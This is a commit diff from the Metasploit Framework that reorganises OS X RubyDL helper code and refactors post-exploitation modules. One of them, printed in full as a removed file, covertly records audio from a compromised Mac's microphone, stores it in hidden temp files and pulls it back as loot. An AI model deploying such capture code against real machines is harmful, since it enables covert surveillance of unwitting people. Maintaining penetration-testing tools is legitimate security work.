Moves ruby_dl helpers to proper place in repo.
* Adds fail_with methods and moves timeouts to constants.bug/bundler_fix
parent
87d8e16001
commit
2d3f599498
|
@ -1,4 +1,7 @@
|
||||||
module OSXRubyDLHelpers
|
module Msf
|
||||||
|
class Post
|
||||||
|
module OSX
|
||||||
|
module RubyDL
|
||||||
def osx_ruby_dl_header
|
def osx_ruby_dl_header
|
||||||
<<-EOS
|
<<-EOS
|
||||||
require 'dl'
|
require 'dl'
|
||||||
|
@ -373,3 +376,7 @@ EOS
|
||||||
capture_code
|
capture_code
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,128 +0,0 @@
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
require 'shellwords'
|
|
||||||
require File.join(Msf::Config.install_root, "lib", "osx_ruby_ld_helpers")
|
|
||||||
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
include ::Msf::Post::Common
|
|
||||||
include ::Msf::Post::File
|
|
||||||
include Msf::Auxiliary::Report
|
|
||||||
include OSXRubyDLHelpers
|
|
||||||
|
|
||||||
def initialize(info={})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'OSX Manage Record Microphone',
|
|
||||||
'Description' => %q{
|
|
||||||
This module will allow you to detect (with the LIST action) and
|
|
||||||
capture (with the RECORD action) audio inputs on a remote OSX machine.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
|
|
||||||
'Platform' => [ 'osx'],
|
|
||||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
||||||
'Actions' => [
|
|
||||||
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
|
|
||||||
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
|
|
||||||
],
|
|
||||||
'DefaultAction' => 'LIST'
|
|
||||||
))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
|
|
||||||
OptString.new('TMP_FILE',
|
|
||||||
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
|
|
||||||
),
|
|
||||||
OptString.new('AUDIO_COMPRESSION',
|
|
||||||
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
|
|
||||||
),
|
|
||||||
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
|
|
||||||
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def run
|
|
||||||
fail_with(Exploit::Failure::Unknown, "Invalid session ID selected.") if client.nil?
|
|
||||||
fail_with(Exploit::Failure::Unknown, "Invalid action") if action.nil?
|
|
||||||
|
|
||||||
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
|
|
||||||
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
|
|
||||||
ruby_cmd = osx_capture_media(
|
|
||||||
:action => action.name.downcase,
|
|
||||||
:snap_filetype => '',
|
|
||||||
:audio_enabled => true,
|
|
||||||
:video_enabled => false,
|
|
||||||
:num_chunks => num_chunks,
|
|
||||||
:chunk_len => datastore['SYNC_WAIT'],
|
|
||||||
:video_device => 0,
|
|
||||||
:audio_device => datastore['MIC_INDEX'],
|
|
||||||
:snap_jpg_compression => 0,
|
|
||||||
:video_compression => '',
|
|
||||||
:audio_compression => datastore['AUDIO_COMPRESSION'],
|
|
||||||
:record_file => tmp_file,
|
|
||||||
:snap_file => tmp_file
|
|
||||||
)
|
|
||||||
|
|
||||||
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
|
|
||||||
if action.name =~ /list/i
|
|
||||||
print_good output
|
|
||||||
elsif action.name =~ /record/i
|
|
||||||
@pid = output.to_i
|
|
||||||
print_status "Running record service with PID #{@pid}"
|
|
||||||
(0...num_chunks).each do |i|
|
|
||||||
# wait SYNC_WAIT seconds
|
|
||||||
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
|
|
||||||
Rex.sleep(datastore['SYNC_WAIT'])
|
|
||||||
# start reading for file
|
|
||||||
begin
|
|
||||||
::Timeout.timeout(120) do
|
|
||||||
while true
|
|
||||||
if File.exist?(tmp_file)
|
|
||||||
# read file
|
|
||||||
contents = File.read(tmp_file)
|
|
||||||
# delete file
|
|
||||||
rm_f(tmp_file)
|
|
||||||
# roll filename
|
|
||||||
base = File.basename(tmp_file, '.*') # returns it with no extension
|
|
||||||
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
|
|
||||||
ext = File.extname(tmp_file) || 'o'
|
|
||||||
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
|
|
||||||
# store contents in file
|
|
||||||
title = "OSX Mic Recording "+i.to_s
|
|
||||||
f = store_loot(title, "audio/quicktime", session, contents,
|
|
||||||
"osx_mic_rec#{i}.qt", title)
|
|
||||||
print_good "Record file captured and saved to #{f}"
|
|
||||||
print_status "Rolling record file. "
|
|
||||||
break
|
|
||||||
else
|
|
||||||
Rex.sleep(0.3)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
rescue ::Timeout::Error
|
|
||||||
fail_with(Exploit::Failure::Unknown,
|
|
||||||
"Client did not respond to new file request, exiting.")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def cleanup
|
|
||||||
return unless @cleaning_up.nil?
|
|
||||||
@cleaning_up = true
|
|
||||||
|
|
||||||
if action.name =~ /record/i and not @pid.nil?
|
|
||||||
print_status("Killing record service...")
|
|
||||||
cmd_exec("/bin/kill -9 #{@pid}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -7,14 +7,15 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'shellwords'
|
require 'shellwords'
|
||||||
require File.join(Msf::Config.install_root, "lib", "osx_ruby_ld_helpers")
|
require 'msf/core/post/osx/ruby_dl'
|
||||||
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
include ::Msf::Post::Common
|
include Msf::Post::Common
|
||||||
include ::Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include OSXRubyDLHelpers
|
include Msf::Post::OSX::RubyDL
|
||||||
|
|
||||||
|
POLL_TIMEOUT = 120
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -50,8 +51,8 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
fail_with(Exploit::Failure::Unknown, "Invalid session ID selected.") if client.nil?
|
fail_with("Invalid session ID selected.") if client.nil?
|
||||||
fail_with(Exploit::Failure::Unknown, "Invalid action") if action.nil?
|
fail_with("Invalid action") if action.nil?
|
||||||
|
|
||||||
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
|
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
|
||||||
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
|
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
|
||||||
|
@ -83,7 +84,7 @@ class Metasploit3 < Msf::Post
|
||||||
Rex.sleep(datastore['SYNC_WAIT'])
|
Rex.sleep(datastore['SYNC_WAIT'])
|
||||||
# start reading for file
|
# start reading for file
|
||||||
begin
|
begin
|
||||||
::Timeout.timeout(120) do
|
::Timeout.timeout(poll_timeout) do
|
||||||
while true
|
while true
|
||||||
if File.exist?(tmp_file)
|
if File.exist?(tmp_file)
|
||||||
# read file
|
# read file
|
||||||
|
@ -98,7 +99,7 @@ class Metasploit3 < Msf::Post
|
||||||
# store contents in file
|
# store contents in file
|
||||||
title = "OSX Mic Recording "+i.to_s
|
title = "OSX Mic Recording "+i.to_s
|
||||||
f = store_loot(title, "audio/quicktime", session, contents,
|
f = store_loot(title, "audio/quicktime", session, contents,
|
||||||
"osx_webcam_rec#{i}.qt", title)
|
"osx_mic_rec#{i}.qt", title)
|
||||||
print_good "Record file captured and saved to #{f}"
|
print_good "Record file captured and saved to #{f}"
|
||||||
print_status "Rolling record file. "
|
print_status "Rolling record file. "
|
||||||
break
|
break
|
||||||
|
@ -108,8 +109,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
rescue ::Timeout::Error
|
rescue ::Timeout::Error
|
||||||
fail_with(Exploit::Failure::Unknown,
|
fail_with("Client did not respond to file request after #{poll_timeout}s, exiting.")
|
||||||
"Client did not respond to new file request, exiting.")
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -124,5 +124,9 @@ class Metasploit3 < Msf::Post
|
||||||
cmd_exec("/bin/kill -9 #{@pid}")
|
cmd_exec("/bin/kill -9 #{@pid}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def poll_timeout; POLL_TIMEOUT; end
|
||||||
|
def fail_with(msg); raise msg; end
|
||||||
|
end
|
||||||
|
|
|
@ -7,14 +7,15 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'shellwords'
|
require 'shellwords'
|
||||||
require File.join(Msf::Config.install_root, "lib", "osx_ruby_ld_helpers")
|
require 'msf/core/post/osx/ruby_dl'
|
||||||
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
include ::Msf::Post::Common
|
include Msf::Post::Common
|
||||||
include ::Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include OSXRubyDLHelpers
|
include Msf::Post::OSX::RubyDL
|
||||||
|
|
||||||
|
POLL_TIMEOUT = 120
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -59,10 +60,6 @@ class Metasploit3 < Msf::Post
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def fail_with(msg)
|
|
||||||
raise msg
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
fail_with("Invalid session ID selected.") if client.nil?
|
fail_with("Invalid session ID selected.") if client.nil?
|
||||||
fail_with("Invalid action") if action.nil?
|
fail_with("Invalid action") if action.nil?
|
||||||
|
@ -97,7 +94,7 @@ class Metasploit3 < Msf::Post
|
||||||
Rex.sleep(datastore['SYNC_WAIT'])
|
Rex.sleep(datastore['SYNC_WAIT'])
|
||||||
# start reading for file
|
# start reading for file
|
||||||
begin
|
begin
|
||||||
::Timeout.timeout(120) do
|
::Timeout.timeout(poll_timeout) do
|
||||||
while true
|
while true
|
||||||
if File.exist?(tmp_file)
|
if File.exist?(tmp_file)
|
||||||
# read file
|
# read file
|
||||||
|
@ -148,5 +145,9 @@ class Metasploit3 < Msf::Post
|
||||||
cmd_exec("/bin/kill -9 #{@pid}")
|
cmd_exec("/bin/kill -9 #{@pid}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def poll_timeout; POLL_TIMEOUT; end
|
||||||
|
def fail_with(msg); raise msg; end
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue